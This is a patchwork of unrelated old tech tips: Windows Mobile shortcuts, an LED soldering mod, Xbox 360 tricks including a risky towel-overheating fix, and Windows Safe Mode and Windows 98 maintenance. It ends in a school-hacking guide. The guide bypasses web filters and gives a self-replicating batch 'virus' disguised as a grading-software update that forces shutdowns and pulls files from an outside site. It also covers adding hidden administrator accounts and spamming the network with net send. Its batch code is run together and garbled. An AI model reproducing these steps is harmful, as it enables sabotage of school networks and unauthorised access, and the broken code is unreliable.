Creating application shortcuts.

Creating application shortcuts

In Windows Mobile you can create shortcuts to files and application just as like you do on desktop. Connect the device to the desktop over ActiveSync, explore the Mobile Device folder, right-click on the file you want to create shortcut for and then Click on Create Shortcut menu item.

But there are differences in formats of shortcut files between Windows Mobile and Windows Desktop. A typical shortcut on a Windows Mobile device will have the following format

xx#"\Location\application.exe"

where xx is number of characters in the above text excluding xx#, optionally it can also contain parameters.

For e.g. I created a shortcut to internet explorer, copied the shortcut file to desktop over activesync and opened it in notepad. This is what I see.

23#"\Windows\iexplore.exe"

where 23 is the count of characters after #.

Follow this format and you can manually or programmatically create shortcuts for Windows Mobile.

add leds

Tools-
Variable temp soldering station or 15watt iron
Hot Glue Gun
Phillips #1
wire stripper
X-acto knife with #11 blade and old style aluminum handle
Drill with 17/64 bit
Plyers

Supplies-
.22 60/40 rosin core solder
Surface Mount LED's
Hot Glue
30 AWG wire
Resistor

Replacing the Surface Mount LED's With the circuit board exposed we can get down to the detail.  You will need to remove four LED's they  can be found around the upper center of the PCB.  So yeah they are pretty dang small.  If you have never wielded a soldering iron stop right now and put everything back how it was!  If you are a fearless soldering god continue on...

	To get our first one done it required two of us.  We setup with one of us on the tweezers and each with an iron.  Irons set to 550 F we went to work, get a good grip on the LED and a quick touch to the solder from each side simultaneously did the trick.  We then busted out the hot tweezers we have never had occasion to use before and found that a much easier option.
Video Clip 4.96MB	But if you are doing this alone we found the slickest way is to bathe the LED in solder and use the iron to wipe it away and then just deposit it on your sponge.  Its important to clean up after, you do not want much solder on the pads during reinstallation.  And of course, be careful not get any on the sensitive gray black pads in the area.
	Re-installing is much easier and a one man job, like any other tiny SMT component line it up, tack one side and then the other.  They do sort of have a tendency to float up and if there is too much solder left so don't be afraid to offer a little gentle down force while heating the solder.  Note the polarity marks for the led and make sure to put them on the right direction.

Lighting the Dome- To get the dome illuminated we tried several variations, one LED, two LED's, but ended up going with four for full bling.  With blue LED's, 4 in parallel a 22 Ohm resistor is connected to all positive legs and the resistor is connected to the positive source.  All negative legs (short ones) are connected to ground.  When using 4 red LED's a 47 Ohm resistor was used (How to calculate the proper resistor for your LED's).

10 useful xbox 360 tricks

1. System updates by disc
Not got your console online yet, or having trouble downloading the latest dashboard update? Try downloading it from a web-connected PC or Mac instead and burning it to a CD. Grab the latest (well, latest-ish - hopefully Microsoft will update the page soon) update from the XBox 360 System Updates page, burn it to disc, then pop that disc into the 360 and turn it on. You'll be prompted automatically as to whether you want to run the update.

2. The towel trick
Bit of a controversial one this, at least as long as you count "possibly burning your house down" as controversial. What it is is a short-term fix for the infamous red rings of death, the mournful LEDs that announce your 360 is deaded. There are various theories about why it works, but the important thing is that, for some people, it does. The way to do it is to wrap the console in a towel or two - ensuring all sides of it are covered - then turn it on and leave it running for 10 minutes or so. Then turn it off, remove the towels, turn it on again and pray. If it's worked, it'll only stay alive for a few hours, but doing this a couple of times may be enough to get you through those long, lonely days while you wait for Microsoft to collect and replace your dead Xbox. Again though, it's dangerous - it could damage the console further, and could cause enough heat to set stuff on fire.

3. Makeshift web-browsing
Microsoft's continued refusal to add a web browser to the 360 is infuriating, but there are a few ways to stare at the internet with your console if you've also got a PC in the house and on the same network, and running either Windows XP Media Center or Vista Home Premium/Ultimate. There are several ways to do it, but perhaps the easiest is the MCE Browser plug-in. It's somewhat limited, but set it up on your Media Center PC then configure your 360 as a Media Extender and you can access your favourite web pages from it.(can someone post a download link THAT WORKS! in the comments for the MCE browser.)

4. Quieting the f****ing thing down
The 360's heat issues are well known, but they don't mean the box has to quite as noisy as it is. That's down to Microsoft using the cheapest fans it can get its hands on, which make an awful racket and are quite a distraction when you're watching a movie. If you're prepared to neuter your warranty, you can replace them with near-silent third-party jobs, such as the Talismoon WhisperFan. Go to real extremes with a complete replacement case, the Lian Li XB-01. Unfortunately, neither of these will silence the roar of the DVD drive, but once the upcoming dashboard update introduces installing games to the console's hard drive, that'll be less of a problem.

5. Insert special characters in your gamer profile
Oh, boring, boring text. Why can't we make our Gamercards a bit flashier? Fortunately, there is a way, but unfortunately it involves screwing around with Far Eastern languages. It's a bit of a complex process to explain in words alone, but this video made by a helpful soul will guide you through the entire process.

6. Play music from your iPod
Not a secret as such, but Microsoft doesn't exactly shout about the fact it plays nice with a device made by uber-rival Apple. Hidden in the depths of the Marketplace, you'll find a teeny download called 'optional iPod support'. Once you've grabbed that, plug in your iPod (iPhones aren't supported yet, sadly) and head to the Media Blade. You'll see your pod appear there, and can now browse its music by album, artist, genre or whatever. It'll also charge via the USB port, usefully.

7. Connect your Xbox 360 to two screens at once
If you’ve got one of the component/composite dual video cables - the one that comes in the box with most 360s - you can have your console display its gamey goodness on two TVs simultaneously. The trick is to flick the cable’s switch to Standard Definition but hook up the composite (yellow) cable to one screen and the component (the red, green, blue) cables to another. It won’t be high-def, but it could be handy if you’re staging a mini LAN party and want to set up a display for bored spectators to point their eyes at.

8.Hidden FMV sequence:
Insert an audio CD. Stop the CD when it begins playing at the CD player screen. Press B, select "Copy", then press A. Use the "Select All" option, then press A. Use the "Copy" option and create a new soundtrack. Enter << Eggsßox >> as a name. Select "Done" and press A to view a hidden "Thank You!" FMV sequence.

9.Reset parental controls:
Go to "Settings" and highlight the "Parental Control" option. Press X, Y, L, X, at the passcode screen to reset the parental control setting to the default value.

10. Reset your Xbox 360 video settings
Remember this one if you're in the habit of carrying your console to chum's houses and hooking it up to different displays. It can end up trying to output the wrong signal, so you can't see anything or get a flickering screen. Fortunately, there's a fairly simple fix if this happens. Remove any discs from the tray and turn the thing off. Then turn it on using a gamepad. As it boots, hold down the Y button, then hit and hold the right trigger. The video settings will reset to default, and you'll stop your sobbing.

Take Control of the Vista Explorer

Take Control of the Vista Explorer

One of the major sources of annoyance in Windows XP is the fact that Windows Explorer opens by default on My Documents. Microsoft has transitioned this default configuration in Windows Vista. And although Windows Explorer in Vista is a big step forward from his predecessor in XP, it still fails to enable users to swap the default opening location.

In Windows XP there was a way around this. Via "C:WINDOWSexplorer.exe /n, /e, c:" users were able to select drive C as the location to start Windows Explorer. Well, this is still available on Windows Vista.

First off, in Vista, make your way to Explorer.exe, hold down Ctrl, click and drag to the desktop. This will create a shortcut for easy access. Right clicking the shortcut will produce a pop up menu that contains the "Properties" option at the bottom. Go ahead and select it. In the Windows Explorer Properties panel that emerges select the Shortcut tab. So far so good.

By default, the Target field features the "%SystemRoot%explorer.exe" address. This line is the source that points Windows Explorer to Documents every time you launch Explorer. Just change it to "C:WINDOWSexplorer.exe /n, /e, c:" if you want explorer to start in C, "C:WINDOWSexplorer.exe /n, /e, d:" if you want explorer to start in D, and so on and so forth.

After you have made the change, simply click OK and the modification will be applied according to your preferences. Now please let me explain the parameters used here. You've heard of the old saying: give a man a fish... Right, then. "/n" tells Explorer to open a new windows each time the user executes the application. "/e" results in the usage of the Windows Explorer view instead of the default open view. And of course "c:" and "d:" are drives on your hard disk. Enjoy!

Enter Window Safe Mode

Windows Safe Mode is a way of booting up your Windows operating system in order to run administrative and diagnostic tasks on your installation. When you boot into Safe Mode the operating system only loads the bare minimum of software that is required for the operating system to work. This mode of operating is designed to let you troubleshoot and run diagnostics on your computer. Windows Safe Mode loads a basic video drivers so your programs may look different than normal.

For Win98/ME and XP there are two methods of booting into Safe Mode, while 95 and 2000 only have one. We will describe these methods below:

F8 - By pressing the F8 key right when Windows starts, usually right after you hear your computer beep when you reboot it, you will be brought to a menu where you can choose to boot into safe mode. If it does not work on the first try, reboot and try again as you have to be quick when you press it. I have found that during boot up right after the computer shows you all the equipment , memory, etc installed on your computer, if you start lightly tapping the F8 key you will usually be able to get to the desired menu.

System Configuration Utility - You can use the System Configuration Utility found in Windows 98, ME, and XP to make Windows boot into Safe Mode on the next reboot. We will go into specific details in the sections below.

Windows 95

Windows 95 can only boot into Safe Mode using the F8 method as it does not have a System Configuration Utility.

Using the F8 Method

1. Restart your computer.
2. When the machine first starts it will generally list some equipment that is installed in your machine, amount of memory, hard drives installed etc. When it is finished with that it will say "Starting Windows 95". Immediately after seeing "Starting Windows 95" press the F8 key.
3. You will now be presented with a menu. Select the option for Safe Mode using the arrow keys.
4. Then press enter on your keyboard to boot into Safe Mode.
5. Do whatever tasks you require and when you are done reboot to boot back into normal mode.

Windows 98/ME

NOTE: Windows ME may look slightly different than what is shown in the images below. You should still have no problem following along.

Using the F8 Method

1. Restart your computer.
2. When the machine first starts again it will generally list some equipment that is installed in your machine, amount of memory, hard drives installed etc. At this point you should gently tap the F8 key repeatedly until you are presented with a menu.
3. When you have the menu on the screen. Select the option for Safe Mode using the arrow keys.
4. Then press enter on your keyboard to boot into Safe Mode.
5. Do whatever tasks you require and when you are done reboot to boot back into normal mode.

Using the System Configuration Tool Method

Step 1: Close all programs so that you have nothing open and are at the desktop.

Step 2: Click on the Start button then click on Run.

Step 3: In the Run field type msconfig as shown in the image below.

Figure 3. Advanced Options

Step 6: Place a checkmark in the checkbox labeled "Enable Startup Menu" designated by the red box in Figure 3 above. Then press the OK button and then the OK button again. Windows 98/ME will now prompt if you would like to reboot as shown in Figure 4 below.

Figure 4. Confirm Reboot

Step 7: Press the Yes button and your computer will restart into Safe Mode.

Step 8: When the computer boots up perform what diagnostic or troubleshooting tasks you require.

Step 9. When you are finished with these tasks, complete steps 1-7 again, but in Step 6 this time uncheck the checkbox labeled "Enable Startup Menu".

Step 10: Reboot the computer back into normal mode.

Windows 2000

Windows 2000 can only boot into Safe Mode using the F8 method as it does not have a System Configuration Utility.

Using the F8 Method

1. Restart your computer.
2. When the machine first starts again it will generally list some equipment that is installed in your machine, amount of memory, hard drives installed etc. When that is completed it will start loading Windows.
3. When you see the screen that has a black and white bar at the bottom stating "Starting Windows", tap the F8 key repeatedly until you get to the Windows 2000 Advanced Options Menu
4. At this menu use the arrow keys to select the Safe Mode option, which is usually the first in the list.
5. Press the enter key.
6. Your computer will continue booting, but now will boot into Safe Mode.
7. Do whatever tasks you require and when you are done reboot to boot back into normal mode.

Windows XP

Using the F8 Method

1. Restart your computer.
2. When the machine first starts again it will generally list some equipment that is installed in your machine, amount of memory, hard drives installed etc. At this point you should gently tap the F8 key repeatedly until you are presented with a Windows XP Advanced Options menu.
3. Select the option for Safe Mode using the arrow keys.
4. Then press enter on your keyboard to boot into Safe Mode.
5. Do whatever tasks you require and when you are done reboot to boot back into normal mode.

Using the System Configuration Tool Method
Note: If you are having trouble entering Safe Mode via the F8 method, you should not use this method to force it to startup into safe mode. For reasons why, you should read this.

Step 1: Close all programs so that you have nothing open and are at the desktop.

Step 2: Click on the Start button then click on Run.

Step 3: In the Run field type msconfig as shown in the image below.

11. Then press the Apply button and then the OK button.
12. When the programs prompts you to reboot, allow it to do so, and you will boot back into Windows Vista in normal mode.

Problems that can occur by forcing Safe Mode using the System Configuration Utility

It is possible to make your computer continuously boot up into safe mode using the System Configuration utility as described above. The program does this by changing your boot.ini file, the settings file that configures your computer's boot sequence, and adding the /safeboot argument to your operating systems startup line. An example of this can be seen below.

Original	[operating systems] multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Professional" /FASTDETECT /NOEXECUTE=OPTIN
After using MsConfig.exe	[operating systems] multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Professional" /FASTDETECT /NOEXECUTE=OPTIN /safeboot:minimal

When you are done using safe mode, you would then run the System Configuration utility again and uncheck the /Safeboot option, thus removing the /safeboot argument from the boot.ini file, and allowing your computer to boot up normally.

On a computer that is operating properly this is normally not a problem. Unfortunately, though, a new trick that some of the more recent malware are using is to delete certain Windows Registry keys so that your computer can not properly boot into safe mode. It is in these situations that using the System Configuration utility to boot into safe mode can cause the computer to become inoperable for many users.

This is because once you set the computer to boot into Safe Mode using /Safeboot, it will continuously attempt to start Safe Mode until the /safeboot argument is removed from the boot.ini. Since the malware is not allowing us to actually boot into safe mode, you have no way of getting to a point where you can run the System Configuration utility again to uncheck the /Safeboot option. Thus, you are stuck with a computer constantly attempting to get into safe mode and not being able to do so.

If a situation like this has happened to you it is possible to fix this problem by renaming your boot.ini file. The first step would be to use a boot disk to start your computer. If your computer does not have a floppy disk, then you can typically boot off the Windows CD that came with your computer in order to access the Windows Recovery Console. More information about the Windows Recovery Console can be found here. Once booted to a command prompt, you would simply rename your C:\Boot.ini file to another name like C:\Boot.ini.bak. The command to rename the file at the command prompt is:

ren C:\Boot.ini Boot.ini.bak

Once the file is renamed, you can then remove the boot disk and reboot your computer to get back to normal mode. When booting up after the rename, do not be surprised if you see an error stating that you do not have a valid Boot.ini file. When you get back to normal Windows mode, you can then rename C:\Boot.ini.bak to C:\Boot.ini and run Msconfig again to remove the /safeboot flag.

Conclusion

It is not uncommon when people are helping you troubleshoot your computer that they tell you to enter Safe Mode. With this tutorial you should now know how to enter Safe Mode when it is required.

Back Up Your Registry Files

To be safe, back up the Registry manually before you make any changes. Run the System Info utility (go to Start menu/Programs/Accessories/System Tools), then click Tools, Registry Checker. After a quick scan, Registry Checker will offer to make a backup. Click Yes to replace the oldest backup file with a fresh one. So, remember, when making changes to Windos registry, always back it up first, because you could end up with a dead pc, and having to reinstall everything.

Speed Up Reboots

Speed Up Reboots

If you think Windows 98 takes too long to boot, you can remove the built-in two-second delay in the OS's start-up sequence. Here's what you need to do:

• Under the Start button, select Find/Files or Folders.
• Enter msdos.sys in the Named box and C: in the Look In box. Then click Find Now.
• When the file appears, right-click it and select Properties from the pop-up menu.
• Click to remove the check marks from the Read-Only and Hidden attributes, then click OK.
• Right-click msdos.sys, select Open With from the pop-up menu, enter Notepad as the opening program, and then click OK.
• Under Options, enter BootDelay=0 or BootDelay=1 on its own line. (This represents respective delays of zero seconds and one second, both of which are faster than the default).
• Close Notepad and save your changes on the way out.
• Return msdos.sys to its hidden, read-only state. (Right-click it, select Properties from the pop-up menu, and check the Read-Only and Hidden check boxes. Then click OK.)
• Quit and restart Windows.

Warning: Any time you make changes to your SYS files, it's a good idea to back up your important files and have your original Windows disk on hand in case you need to reinstall.

Use some cool, free tools from the Windows 98 Resource Kit Sampler

Use some cool, free tools from the Windows 98 Resource Kit Sampler

The Windows 98 CD comes with some free tools and utilities in a sampler called the Resource Kit. These allow you to do such things as compare files and folders, check and delete obsolete shortcuts, read text and hypertext markup language (HTML) code in the Text File Viewer, and more. These tools don't load automatically when you do a standard installation, but they're easy to install:

1. Insert your Windows 98 CD into your CD-ROM drive.
2. Click Browse This CD.
3. From the Tools\Reskit directory, run Setup.exe.

Once installed, you can access these tools from the Start menu. Click Programs, point to Windows 98 Resource Kit, and click Tools Management Console.

Converting a drive to FAT32

Converting a drive to FAT32

The File Allocation Table (FAT) is the way in which data is stored on your hard disk drive. Until now, the only option has been to use FAT16, but Windows 98 has the capability of converting your drives to FAT32. The difference between the two is in how they store data. FAT32 stores data in smaller units than FAT16 and, by using these smaller units, can save a lot of hard disk space.
Here's how to convert a drive:

• On the Start menu, point to Programs, point to Accessories, and then click System Tools.
• Click Drive Converter and follow the instructions on your screen.

Older disk compression software is not compatible with FAT32, so if your drive is already compressed, you may not be able to convert to FAT32. For more information on this and other FAT32 issues, please read the Using Drive Converter Help on FAT32 before you convert.
Here's how to check if your hard disk drive is already using FAT32, in My Computer, right-click the icon for the drive in question (typically C, for your hard disk), and then click Properties. The File System field indicates whether a drive is FAT16 (listed simply as FAT) or FAT32.

Track changes to your system files after installing software

Track changes to your system files after installing software

You can use System File Checker in combination with Notepad to track any system changes that programs make during their installation.
System File Checker creates a log after each scan, which is then appended to the previous file by default; but you can also choose to overwrite it on each scan. If you choose to overwrite the log, you can easily print out the list of changes each program installation makes to your operating system files. Every time you install a program, follow by running System File Checker, open the log in Notepad, enter the name of the program at the top of the log, then print and save it for future reference.
Here's how to do it:

1. Click the Start button.
2. Point to Programs, point to Accessories, and then point to System Tools.
3. Click System Information.
4. Click Tools from the menu bar and then click System File Checker .
5. Click Start to run System File Checker.
6. When the scan is finished, click OK and you will return to its main screen.
7. Click the Settings button.
8. Click the Settings tab and then click the View Log button to view the log in Notepad. (On the Settings tab, you will also see three options in the Log file section. These let you append to the existing log, overwrite the existing log, or create no log at all.)
9. Type the name of the program you just installed at the top of the log and then click File and Print.

Notes: A shortcut to starting System File Checker is to type SFC in the Run command on the Start menu.

Give startup problems the boot

Give startup problems the boot

Normally, you would create a startup disk when you installed Windows 98. If you never made a startup disk, if you have lost it, or if yours is old (Startup disks created with previous versions of Windows are not compatible with Windows 98.), now is a great time to make a new one. It�s easy.
To create a boot disk, you will need a blank, 1.2 megabyte (MB) disk. You may also need your Windows 98 CD, so be sure to have it handy. To create a startup disk:

1. Click Start, point to Settings, click Control Panel, and then click Add/Remove Programs.
2. Click the Startup Disk tab, and then click the Create Disk button.
3. Label a floppy disk "Windows 98 Startup Disk," insert the disk in your floppy disk drive when prompted, and then click OK. Click OK again, and then follow the instructions on your screen.
4. Store the disk in a safe place.

What else can you do to protect yourself? Practicing regular computer maintenance is always a good idea, and can be particularly helpful if you are recovering from a system crash. Windows 98 comes with tools such as Disk Defragmenter to help keep your computer in top shape.
Under normal operation, files and applications that are stored on your computer are often divided into small units and scattered around the hard disk, which can make recovering them very difficult. Disk Defragmenter places files and applications into contiguous groups, thereby improving the chances of recovering your data (since files will not be scattered all over the drive), and keeping your system operating at optimum speed. Other tools in Windows 98 for keeping your system healthy include:

• Disk Cleanup: Cleans your computer's hard disk by removing files you don't need, and lets you know when your hard disk is getting full.
• ScanDisk: Checks your computer's files, folders, data structures, and the surface of the disk for errors. It finds and fixes errors, helps you regain unused disk space, and makes your computer run more efficiently.
• Maintenance wizard: Performs maintenance tasks automatically, or at times that you schedule.

Computer viruses can also cause any number of problems, including a system crash. Microsoft recommends you always use current anti-virus software, available from a number of third-party vendors. Many anti-virus programs also allow you to create a startup disk.
Finally, if you do run into trouble and don't have a startup disk, many computer manufacturers offer them for download on their Web sites. But if you make a one now and put it in a safe place, you won't have to rely on your friend's computer for Web access when you are having problems.

Speed up your programs

Speed up your programs

The improved Disk Defragmenter in Windows 98 gathers the program files that you use most often and moves them to faster parts of the hard disk.
To run Disk Defragmenter:

1. Click Start, point to Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter.
2. Click Settings, and make sure that the Rearrange program files so my programs start faster option is selected.
3. Click OK two times to start the process.

You can schedule Disk Defragmenter as part of your regularly scheduled tasks in the Windows Maintenance Wizard.

Bypassing that pesky web filtering

Well, now you've got a command prompt, it's time to visit whatever site you want. Now, there are plenty of ways to bypass poorly constructed filtering, but I'm going to take it for granted that your school has stopped these. This one, as far as I know, will never be stopped.
in your command prompt, type
ping hackthissite.org
or anything else you wanna visit. Now you should have a load of info, including delay times and, most importantly, an IP address for the website. Simply type this IP address into the address bar, preceded by http://, and you'll be able to access the page!
For example: http://197.57.189.10 etc.
Now, I've noticed a lot of people have been saying that there are other ways to bypass web filtering, and there are. I am only mentioning the best method I know. Others you might want to try are:
1) Using a translator, like Altavista's Babel fish, to translate the page from japanese of something to english. This will bypass the filtering and won't translate the page, since it's already in English.
2) When you search up the site on Google, there will be a link saying 'Cache'. Click that and you should be on.
3) Use a proxy. I recommend Proxify.com. If your school has blocked it, search it up on Google and do the above. Then you can search to your heart's content:)

shutdown your school network

This article is for only educational purpose, i am not responsible for any misuse of this article.
By using the following command you can shutdown your school or college by using only Note pad.

This is the main command that will be launched upon startup.
Type this in Notepad.
@echo offshutdown.exe -s -t 10 -c
“You have been hacked!”
Save this as shutdown.bat, making sure you choose all files as the filetype.

Step 2
Make it run on Startup. The file you need can be downloaded here:This is just a simple registry file that anyone can create, but I don’t feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.
http://www.mutantsrus.com/Update.reg

Step 3
Set up the replication system. Here is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server

that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.

Example O:\sti\ssts2\sti.exe?=O$=sti\ssts2!=sti

Here is the code:

@echo offcd C:\move ?:\$\!.exeren C:?.exe real.exeren C:virus.exe !.execd ?:\$move C:\!.exemove C:\shutdown.batmove C:\Update.regexit

Save this as global.bat

Step 4
They grow up so fast — real fast!This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user’s hard drive and remain there.

@echo offcd C:\WINDOWSEcho STI must update itself, this will only take a few seconds.pauseEcho Please wait while the files install.move ?:\$\shutdown.batmove ?:\$\Update.regmove ?:\$\cure.exemove ?:\$\cure.exemove ?:\$\cure.batmove ?:\$\remove.batEcho Adding information to registry.pausestart regedit.exe Update.regcd ?:\$start real.exeexit
Now this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with. Just save the compiled file over this one.

Step 5
The Cure. This is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.
@echo off
shutdown -acd C:\WINDOWSdel shutdown.bat

Save as cure.bat

@echo offcd ?:\$del !.execd C:\move ?:\$\real.exeren C:\real.exe !.execd ?:\$move C:\?.execd C:\WINDOWS
Now download this file: http://www.mutantsrus.com/cure.exe

Step 6
The Setup. No it’s not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here: http://www.rarlab.com. First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to “tools”, then select “convert archive to SFX”. Click “Advanced SFX Options” In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.

Adding/modifying user accounts

Now that you have a command prompt, you can add a new user (ie yourself) like so
C:>net user username /ADD
where username is the name of your new account. And remember, try and make it look inconspicuous, then they'll just think its a student who really is at school, when really, the person doesn't EXIST! IF you wanna have a password, use this instead:
C:>net user username password /ADD
where password is the password you want to have. So for instance the above would create an account called 'username', with the password being 'password'. The below would have a username of 'JohnSmith' and a password of 'fruity'
C:>net user JohnSmith fruity /ADD
Right then, now that we can create accounts, let's delete them:)
C:>net user JohnSmith /DELETE
This will delete poor liddle JohnSmith's account. Awww. Do it to you enemies:P no only joking becuase they could have important work... well okay only if you REALLY hate them:)
Let's give you admin priveleges:)
C:>net localgroup administrator JohnSmith /ADD
This will make JohnSmith an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.
You can list all the localgroups by typing
C:>net localgroup

Sending messages out over the network

Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type
Net Send <domain> * "Hey buddy!"
*Note: <domain> may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out*
Where <domain> is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it. So, at my school, I use
Net Send Varndean * "The server is h4x0r3d"
The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example
NetSend Varndean dan,jimmy,admin "The server is h4x0r3d"
use commas to divide the names and NO SPACES between them.
